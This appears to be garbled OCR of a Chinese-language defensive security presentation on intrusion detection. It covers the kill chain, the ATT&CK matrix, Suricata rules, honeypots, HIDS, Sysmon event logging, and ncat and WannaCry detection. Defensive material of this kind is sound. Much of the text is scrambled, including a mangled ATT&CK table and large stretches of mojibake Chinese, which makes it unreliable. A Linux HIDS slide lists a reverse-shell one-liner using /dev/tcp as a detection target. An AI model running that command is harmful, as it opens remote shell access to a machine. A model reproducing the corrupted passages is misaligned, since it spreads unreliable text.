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RECONNAISSANCE

Harvesting email addresses,
conference information, etc.

WEAPONIZATION
Coupling exploit with backdoor
into deliverable payload

Delivering weaponized bundle to the
victim via email, web, USB, etc.

Exploiting a vulnerability to execute
code on victim’s system

COMMAND & CONTROL (C2)

Command channel for remote
manipulation of victim

i - Sy e ACTIONS ON DBJECTIVES

e i With ‘Hands on Keyboard’ access,
I s intruders accomplish their original goals
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ATT&CK I i T35 A [

Enterprise Matrix

The full ATT&CK Matrix™ below includes techniques spanning Windows, Mac, and Linux platforms and can be used to navigate through the knowledge base.

Last Modified: 2019-07-01 17:29:19.726000

A Tok Al Tok
Drive-by Compromise AppleScript .bash_profile and .bashrc cce:ss OA i cce§s 0. e Account Manipulation | Account Discovery AppleScript Audio Capture Commonly Used Port Automated Exfiltration Data Destruction
Manipulation Manipulation

Exploit Public-Faci Application Wind Applicati Automated Ci ication Th h Data E ted f
o u I(‘t Asind CMSTP Accessibility Features Accessibility Features Binary Padding Bash History P ‘Cz,i o Encow PrGAIN u umal i emmanicaton rloug Data Compressed SECapeciion
Application Discovery Deployment Software Collection Removable Media
Distributed
External Remote Command-Line e

Bi Bookmark
: Account Manipulation AppCert DLLs BITS Jobs Brute Force rowsler ookmart
Services Interface Discovery

Impact

Component Object Clipboard Data Cennection Proxy Data Encrypted Defacement
Model

Data from
B User A t Exploitati f R t Custom C: d and
Hardware Additions Compiled HTML File AppCert DLLs Applnit DLLs ypassc;etlr'd T Credential Dumping  Domain Trust Discovery i Information T g e

Services s Control Protocol
Repositories

Data Transfer Size Limits  Disk Content Wipe

Replication Through

File and Directo Data from Local Custom Cryptographic  Exfiltration Over Alternative = Disk Structure
, Control Panel ltems Applinit DLLs Application Shimming = Clear Command History ~ Credentials in Files » 24 Logon Scripts RIOHIAR 5
Removable Media Discovery Systemn Protocol Protocol Wipe
Spearphishing Dynamic Data Bypass User Account

Network Service Data from Network Exfiltration Over Commar point Denial o
g CMSTP G R Vi d End
Attachment Exchange

Data Encodi
Scanning Shared Drive Fhancoding and Control Channel

DLL Si h Ord Exploitation f Network Sh Data fr Exfiltration Over Oth Fi
Spearphishing Link | Execution through API Authentication Package ?am, e Code Signing s -a OMIDE = \,m . Pass the Ticket G Data Obfuscation AL e
Hijacking Credential Access Discovery

Removable Media Network Medium Corruption
Spearphishing via Execution through

Ri te Deskt Exfiltration Over Physical Inhibit Syst
Service PO — BITS Jobs Dylib Hijacking Compile After Delivery | Forced Authentication Network Sniffing em;r:m:; P Data Staged Domain Fronting v I::ed;fr; e 3 I;elcowfr:m

Control Service

Supply Chain Exploitation for Client Exploitation for

Password Poli
" N Boatkit %
Compromise Execution

Domain Generati Network Denial of
Remote File Copy Email Collection it Scheduled Transfer S e

Discovery Algorithms Service

Graphical User Extra Window Memor Peripheral Device Resource

Trusted Relationship P Browser Extensions o y Component Firmware Input Capture p, Remote Services Input Capture Fallback Channels & s
Interface Injection Discovery Hijacking

Privilege Escalation Compiled HTML File Hooking

File System Component Object Permission Groups Replication Through
Valid As t: InstallUtil Ch Default File A fati Input P it
ACLRLAUMS st saELelaniEieAssesation Permissions Weakness Model Hijacking DRI IO Discovery Removable Media

Launchctl Component Firmware Hooking Control Panel ltems Kerberoasting

Runtime Data
Man in the Browser Multi-hop Proxy S :
Manipulation
Process Discovery Shared Webroot Screen Capture Multi-Stage Channels Service Stop
c t Object Model I File E it Multiband Stored Dat
ompone_rj _Jec . mage_: - ‘xecF on DCShadow Keychain Query Registry SSH Hijacking Video Capture s :*-.»‘n s or‘e a.a
Hijacking Options Injection Communication Manipulation

Local Job Scheduling

LSASS Driver EredibRosount Launch Daemon Deobfuscate/Decode LLMNR/NBT-NS Remote System

Transmitted Data
Taint Shared Content Multilayer Encryption
Files or Information Poisoning and Relay Discovery 2 bl

Manipulation

S ity Soft
Mshta DLL Search Order Hijacking New Service Disabling Security Tools Network Sniffing ECUSomiare

Discovery Third-party Software Port Knacking

DLL S h Ord System Inf ti Wind Admi
PowerShell Dylib Hijacking Path Interception :earc- raer Passwaord Filter DLL ¥e em bl thi i e Remote Access Tools
Hijacking Discovery Shares
System Network Wind R it
Regsvcs/Regasm External Remote Services Plist Modification DLL Side-Loading Private Keys ys em. % ?Vm g emae Remote File Copy
Configuration Discovery Management
File System Permissions

Regsvr32
& Weakness

System Network Standard Application
Port Monitors Execution Guardrails Securityd Memory y ; & P
Connections Discovery Layer Protocol

o Two-Factor .
Exploitation for Defense ‘Authentication System Owner/User Standard Cryptographic

Evasion S o Discovery Protocol

https://mitre-attack.github.io/attack-ﬁaVigator}en e’fp'f_'ls

RundlI32 Hidden Files and Directories Process Injection




B bt % 22 B AR AR

B B A, $HXFF&AYd B BB A RBGEF38, A X R A Bk B 4 0 8

R AR
il VE Mt T H
ik Bk TR

AT B

LRITIEAR G
F s

B

ALEL NS
U 4

2ZGAb T
R lE Rk

B IR

NIDS. WAF. [h%#E. NIDS
IS 42 X FHLHE

NIDS. WAF. HIDS.
S EE. RASP

515 9 B NIDS. EHLHE
NIDS DNSIE R . BHEHiR

HE . NIDS. HIDS

S/ AN N S :
AR IR | Etrip

i : l_'-. ¥ /f/ 4 ‘I_\.J|;_- \ ‘\\\ - :-' (% , X, N \\ . j“E ﬁin
) 2 o y e ‘: ! N '..! $ . 2



TOCT R




0k 20 Ve o T 2 A W v

18 4\ R R ERAEK = Al 1 R 2 A W S 30 AR

® RBHFRAT A KFAL?

(1) thﬁliE%EH%L_ﬁ:EKIDCXTM‘ 22 WAy 11

Tas



® B4 JHT
(1) FEghEH

> masscan:

2018-04-23
20:43:06

2018-04-23
20:43:06

2018-04-24
01:05:27

P v 1 433
> Nmap: REIFIE
EHFR

|7

IR 35 RE AR EL

sun-
answerbook

gzh Huawei

pptp Fortinet

Ctrp
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(2) BEahMHs: WERN (FW. NIDS)

dest_port: proto.keyword: dest_ip.keyword:
Descending = Q Descending - Q Descending ~ Q

80 TCP 11
TCP 1
TER
TCP

443 TCP

6,990 TCP
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® EALH?

» Suricata/Snort ( https://suricata-ids.org/ )

> Bro-IDS ( https://www.zeek.org/ )
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emerging-malware
emerging-attack_response
emerging-snmp
emerging-mobile_malware

emerging-netbios
emerging-current_events
emerging-chat
emerging-icmp
emerging-dns
emerging-voip
emerging-telnet
emerging-smtp
emerging-pop3
emerging-deleted
emerging-sql
emerging-shellcode
tor

emerging-p2p
emerging-ftp
emerging-scan
emerging-trojan
Bemerging-exploit
emerging-tftp
emerging-worm
emerging-web_client
botcc

® Suricatazz ‘BN

rules/emerging-malware.rules
rules/emerging-attack_response.rules
rules/emerging-snmp.rules
rules/emerging-
mobile_malware.rules
rules/emerging-netbios.rules
rules/emerging-current_events.rules
rules/emerging-chat.rules
rules/emerging-icmp.rules
rules/emerging-dns.rules
rules/emerging-voip.rules
rules/emerging-telnet.rules
rules/emerging-smtp.rules
rules/emerging-pop3.rules
rules/emerging-deleted.rules
rules/emerging-sql.rules
rules/emerging-shellcode.rules
rules/tor.rules
rules/emerging-p2p.rules
rules/emerging-ftp.rules
rules/emerging-scan.rules
rules/emerging-trojan.rules
rules/emerging-exploit.rules
rules/emerging-tftp.rules
rules/emerging-worm.rules
rules/emerging-web_client.rules
rules/botcc.rules

atternpted-admin
atternpted-recon
attermpte d-user

web-application-attack

risc-activity

policy-wiolation

protocal-cammand-decade

trojan-activity

https://rules.emergingthreats.net/open/suricata-4.0/rules/
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ATTACK [PTsecurity] Possible Bluekeep RDP exploit CVE—2019-O708

EVENT_TYPE e G & 4 T = HOSTNAME ® ¢ ©# 4 £ x  ALERTSIGNATURE
@ alert (3) Other values (0)

[ ] (3) Other values (0)

Term

ATTACK [PTsecurity] Possible Bluekeep RDP exploit CVE-2019-0708
Other values

SRC_IP c x DEST_IP e ¢ & % T x UNIQ SRCIP

Term Count Term Count - 2
i 2 1 2 2 Qe
0 1 kL | 6 1 Qe

Other values 0 Other values 1]

e & & ¢+ T
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Honeypot

® (KA H %% : Dionaea ¢

®  FrZfhihil: telnet, dns,
ntp, epmap, ftp, http,
memcache, mirror, maqtt, - =
mssql, mysql, pptp, sip, &>
smb, tftp, upnp docker -

suricata

® Dockerft: {E#BE H%

https: / / github. com/ Dln”caTools / dlonaﬁa =
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® HIDS 1.0z Hfossec

~Ossec agent
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® HIDS 2.0 Linux

(1) BE=WedR: W%, SRR, RaRFmE
(2) \NR#M: JR¥shell, webshellill, R SHIT, XABEERM, rootkit
(3) AL : FHTFCIS benchmarkijLinuxFtZE k2

> XERGHBAEB A
> RARBEAH
e SRR

dtrip
HEFE




Process Creation Process

A process changed a file creation time File

Network connection Network
() Wlndowsjlz: é? Zsysmon L Sysmon service state changed Sysmon
Process terminated Process
Driver loaded Process
ST U B % R AU SOPE TN P4l ma s roces
CreateRemoteThread Process
RawAccessRead File
> Mé%*ﬁ 9& . mé%i%j:% (2 ) R DNSiH ;Jsz (22 ) P'rocessAccess P.rocess
FileCreate File
RegistryEvent (Object create and delete) Registry
RegistryEvent (Value Set) Registry
> iﬁ*ﬁ*ﬁ% . iﬁ*ﬁﬁﬂﬁ ( 1 ) _ RegistryEvent (Key and Value Rename) Registry
: FileCreateStreamHash File
Sysmon configuration change (cannot be filtered) Sysmon
PipeEvent (Pipe Created) Pipe
PipeEvent (Pipe Connected) Pipe

WmiEvent (WmiEventFilter activity detected)

WmiEvent (WmiEventConsumer activity detected)

WmiEvent (WmiEventConsumerToFilter activity
detected)

DNSEvent (DNS query) Network

Error Sysmon



Sy_’smonﬂﬂﬁ'

ZEIEST: sysmon.exe —acceptéula -1 syémonconfig—export.xml
BEHTNLE : sysmon.exe - c sysmonconfig-export.xml

F-M

<|=--SYSMON EVENT ID 3 : NETWORK CONNECTION INITIATED [NetworkConnect]-->
<1 ==COMMENT: By default this configuration takes a very conservative approach to network logging, limited tc
<! --COMMENT : [ https://attack.mitre.org/wiki/Command_and_Control ] [ https://attack.mitre.org/wiki/Exfiltrat
<|--TECHNICAL: For the DestinationHostname, Sysmon uses the GetNameInfo API, which will often not have any inf
<! --TECHNICAL: For the DestinationPortName, Sysmon uses the GetNameInfo API for the friendly name of ports you
<|==TECHNICAL: These exe do not initiate their connections, and thus includes do not work in this section: BIT

¢<l== https://www.first.org/resources/papers/conf2817/APT-Log-Analysis-Tracking-Attack-Tools-by-Audit-Policy-anc

<! --DATA: UtcTime, ProcessGuid, ProcessId, Image, User, Protocol, Initiated, SourcelsIpvé, Sourcelp, SourceHost
<RuleGroup name="" groupRelation="or">

<NetworkConnect] onmatch="include"...}>

<NetworkConnect onmatch="exclude">
<|=-=-COMMENT: Unfortunately, these exclusions are very broad and easily abused, but it's a limitation of Sys
<Image condition="end with">AppData\Roaming\Dropbox\bin\Dropbox.exe</Image> <!--Dropbox-->
<Image condition="end with">AppData\Local\Microsoft\Teams\current\Teams.exe</Image> <!--Microsoft Teams-->
<Image condition="end with">AppData\Roaming\Spotify\Spotify.exe</Image> <!--Spotify-->
<Image condition="end with">WeChat.exe</Image> <!|--wechat-->
<Image condition="end with">Foxit Software\Foxit Reader\FoxitProtect.exe</Image> <!--FoxitProtect.exe-->
<!--SECTION: Microsoft-->
<Image condition="end with">AppData\lLocal\Microsoft\Teams\current\Teams.exe</Image> <!|--Microsoft: Teams-->

<DestinationHostname condition="end with">.microsoft.com</DestinationHostname> <!--Microsoft:Update dellverI\

<DestinationHostname condition="end with">microsoft.com.akadns.net</DestinationHostname> <!--Microsoft:Updz
<DestinationHostname condition="end with">microsoft.com.nsatc.net</DestinationHostname> <!--Microsoft:Updat
</NetworkConnect>
</RuleGroup>

RN

RN L

Gtrup
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® WindowsF ML 75 TCPRH AP

X Network connection detected:
AN A TP, POl MEIEFR A FRAPID [
UtcTirne: 2019-08-04 15:26:48.689
ProcessGuid: {92aed1c0-f80a-5d46-0000-0010dd6f0802}
Processid: 13156
Image: D:\Program Files (xB6)\Tencent\WeChat\WeChatexe
User: DESKTOP-FV2FLEH\Leon
Protocol: tep

netstat - ano | findstr “external ip” it e

Sourcelslpvé: false

taSk].lSt | flndstr “_P[D” Sourcelp: 192.168.0.107

SourceHostname: DESKTOP-FVZFLEH
SourcePort 51848

SourcePortName:

Destinationlslpvé: false
Destinationlp: 61.151.168.204
———————
DestinationHostname: 204.168.151.61.dialxaw.sh.dynamic.163data.com.cn

—————————————————————————————
DestinationPort 80

C:\WINDOWS\system32>netstat —ano | findstr “61. 151. 168. 204" DestinationPortName: http
TCP 192.168. 0. 107:51848 61. 151. 168. 204:80 CLOSE_WAIT 13156

C: \WINDOWS\system32>netstat —nao | findstr “13156”
TCP 192. 168. 0. 107:51754 61.151. 165. 0:443 ESTABLISHED 13156
TCP 192. 168. 0. 107:51848 61.151. 168. 204:80 CLOSE WAIT 13156

C: \WINDOWS\system32>tasklist | findstr “13156”
WeChat. exe 13156 Console E 141, 200 K BEEfRRM): Microsoft-Windows-Sysmon/Operational
SEE(S): Sysmon iBREHEID): 2019/8/4 23:26:50
=% ID(E): 3 {£22280(v):  Network connection detected (rule: NetworkConnect)
REIL): =2 FEFK):
T & e o ’ e s ¥ AP SYSTEM HELR): DESKTOP-FV2FLEH

s RN B i R S i G S N - :=o)

= - s 2 A 3 ; i BEEBN:

C: \WINDOWS\system3d2>

Ctrp
L




® WindowsEAHLFH DNSHH M

Hf 22, Sysmon

(1) B R -

Gl A & ¢ Dns query:

(2) Hles: IR DGA44

UtcTime: 2019-08-04 15:35:34.115

ProcessGuid: {92aed1c0-e000-5d46-0000-0010c8676800}
Processld: 1736

. e o . N L WWW fsodp3ifj dfih iifi i
www.iuqgerfsodp9ifjaposdfjhgosurijfaewrwergwea.com QueryName: zviuaerfsadpofieposdihqosuriffaeumy erguea.com

QueryStatus: 0
wpie eeaseec: [ Ty iy | (G j QueryResults: 104.17.244.81;104.16.173.80;
AP [ ZRNBREC) | mRESE0  BEAk( THFA0) | REENO) \ > Image: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe

FsipgE 11 1% FRIURL 7 @ R 2017-05-12 15:08:04 B3 m=mzm Cloudflare, Inc.

B smasmers 12 & FaEyE 18 © DWEE 2024-05-12 15:08:04 IgHEE DATA REDACTED

[ APIEI) @ Nk & AP D ikl

BIRRS AT @ FigE @ WHOIS @

TBIRR

TR

FEER @ sraa-rtNmRSROAnIERTE, FEaREaREXE, ULsE P APIED
] o]

FoER

BESHE O _ s ‘ BEE#H#M): Microsoft-Windows-Sysmon/Operational
- R c5: Sysmon R 2019/8/4 23:35:36
httpsi//blog.malwarebytes.comythreat-analysis/2017/05/the-worm-that-spreads-wanacrypt0r/ ——— =44 1D(E): 22 {£238I):  Dns query (rule: DnsQuery)
A FAL: =8 FEFK:
AR SYSTEM HEW(R):  DESKTOP-FV2FLEH
DRiRN =m0 zm
2017-051310:5107 BE2EEQ:

hittps://www.crowdstrike.com/blog/falcon-intelligence-report-wanna-ransomware-spreads-rapidly-continually-encrypts-victim-files/ 2017-05-13 07:22:24

httpsi//blogs.technet.microsoft.com/mmpc/2017/05/12/wannacry gets-out-of-date-systems/ 2017-05-13 14:40:39

https://www.us-cert.gov/ncas/alerts/TA17-132A 2019-06-21 17:15:07

httpsi//blogs.forcepoint.com/security-labs/wannacry-ransomware-worm-targets-unpatched-systems 2017-05-13 13:30:00




® Windows EHLEREHEHIT

Process Create:

RuleName:

UtcTime: 2019-07-01 18:31:03.709

ProcessGuid: {92aed1c0-5167-5d1a-0000-00102e234204}
Processid: 12244

Image: D:\tools\ncat\ncat.exe

CurrentDirectory: d:\tools\ncat\

User: DESKTOP-FV2FLEH\Leon

LogonGuid: {92aed1c0-1¢99-5d1a-0000-0020aa880200}
Logonld: 0x288AA

TerminalSessionld: 1

IntegrityLevel: High

ParentProcessGuid: {92aed1c0-4c89-5d1a-0000-001066a6c903}
ParentProcessld: 5028
Parentimage: C:\Windows\System32\cmd.exe

ParentCommandLine: "CAWINDOWS\system32\cmd.exe”

Microsoft-Windows-Sysmon/Operational

Sysmon iCEETED): 2019/7/2 2:31:03
£ (¥): Process Create (rule: Proce
FEFK):
HEHLR):  DESKTOP-FV2FLEH

BERE0):

B£EE

Z 5e107ea10383110bd801fb7de 11159ee35f02b8e1defcadf34c0e3e769df9341

@ 19 engines detected this file

5e107ea 110bd801fb7de11f59ee35f02b8e 1defcadf34c0e3e769d9341
TeOdfsefd2adfcTfeefebe42c3a18d02 vir

peexe via-tor

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY o

Basic Properties ¢

MD5 7e0dibSefd2adfc7feefebe42c3a18d0?

SHA-1 €52433b84341f1bec29d: 48132c045311a1f

SHA-256 56107ea10383110bd801Mb7de11 102b8e 1defcadf34c0e3e 769
Authentihash ~ 95cbab6c3f7333498df4420b067089b959851:

Imphash 6eefd92bffbib2T1 96786

SSDEEP 49152:2mVoAe227S4KEOQSAvWU/9r9xL 7p/OpSESARAr4:IVe2ySWvadroxiFEs
File type Win32 EXE

Magic PE32 executable for MS Windows (console) Intel 80386 32-bit

File size 1.59 MB (1667584 bytes)

History

Creation Time 2011-06-30 20:47.55
First Seen In The Wild ~ 2010-11-20 23:29:33
2011-07-07 09:20:45
2019-07-22 0
2019-07-29 19:

First Submission
Last Submission
Last Analysis

TeOdfbefd2adfc7feefebe42c3a18d02. vir

iexplore exe

ncat exe

output. 124894196 txt

nc.exe

5e107ea10383110bd801ib7de11f59 102b8e 1defcadf34c0e3e769df9341 exe
atst

winconf.exe

NCATEXE

ncat_portable_exe

1.59 MB
Size

> EREmA KN CommandLine, @il
BRI A

> EENAEMMDS/SHA256, A& B
EEirelg 5]

I'--'\h - Ctrp




® Windows EMLFEM Fi& ik

> RDP %D % (w0350

HKEY_LOCAL. MACHINE\SYSTEM \ CurrentControlSet\Control\Terminal Server\Wds\rdpwd \Tds\tcp\
HKEY_LOCAL_MACHINE\SYSTEM \ CurrentControlSet\Control\Tenninal Server\WinStations\RDP-Tcp

> FPLEE CEEREREs))
HKEY CURRENT USER\software\micorsoft\windows \currentversion \run

HKEY_LOCAL_MACHINE\Software\Microsoft \Windows \ CurrentVersion \Run
HKEY _LOCAL_MACHINE \Software\Microsoft\Windows \ CurrentVersion\Runonce

%ﬁ%ﬁﬁ(%ﬁ%ﬁ%@ E@W%) CAE
HKEY LOCAL MACHINE/ SAM/SAM/ Domams/ Account/ Users

€

Ctrp

A



® ji*}[‘ EI Ju\q&%

Windows H &3/ H &2

22 HE %SystemRoot% \ System32 \winevt\Logs \ Security.evt
X

M H & %SystemRoot% \system32 \winevt\Logs \Application.

evtx

ZH5EHE %SystemRoot% \system32 \winevt\Logs \ System.evtx

Sysmon H & Microsoft-Windows-Sysmon/Operational

Windows )\ﬁiﬁ % %‘WJ

(2) E'”u'%'f%
e
https://www.elastic.co/cn/ products/beatS/wmlo\eat ‘\:‘-'L‘.“\LI\T";E\.T_ ‘ | 6 Ctrip






® ML H 5

Linux H &R H H&$2
Bk HE /var/log/secure
BAEH & /var/log/history

ARG HE /var/log/message
AEH & /var/log/auth

Linux N & 35 25l

(1) SSHERJ W 15 #he ki Mo 104k

(2) B4 : nc, bash -1 >& /dev/tcp/lO _ 011/9090 0>&1
(3) - SSHJR 55 I Wy 7E JE 22 %8 11 G

Y s o Lagthc ; P NGRS N ; .
' T _,.“ B I.""\-. . £ | NN S N - .“_:“ oy,

. - g T4 1 . N
X S PSS L #Y AR &

/ R TN LGN i S e b RN TR —
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NETWORK

HOST




|‘ sl RERGE

¢ Comfuter ' 1 9 2 : 1 6
e 8.1.1
a.c
Xe
BAEIEF BRI BUE
ok =(zhangsan) &3 AD 5

Computerl
HITARY “a.exe” (1)SysmonZffEvent 1

(2) BME i S md S / LAV F6
(3)AV Bl B¢
Jz sishell Bg AhE (1)SysmonZFff-Event 22 /Event 3
(2)IPS /IDS{ii &= Al
(3) BUME i IP/ DNS
I 2 F1=5+40+90=145>100, & A& XEIH 4,

IVARYAHI D [




@ 53 52: JHAIREL W

Comput

TR 172.16.1.1
a.cxe er2
Comput
er4
Comput 192.168.1.1

erl

2=

Comput

oL S Comput erd

Comput erd

er4

A WFLLPCAHME 1T Fe TP
ARIG” a.exe” BAEWFLPCIaITIE?

ik-5zhangsanih & s L PC

&4 Computer 130w WFLL k58 Fi
U

Zhangsanft4 BHEZEMEHE T #ida.exe

B k3, IDS/IPS, LEMITHEH
SysmonHFHH:-Event 1, XH4MD5
kR

ADH#%
AD#%

LR T EE

Ctrp

A
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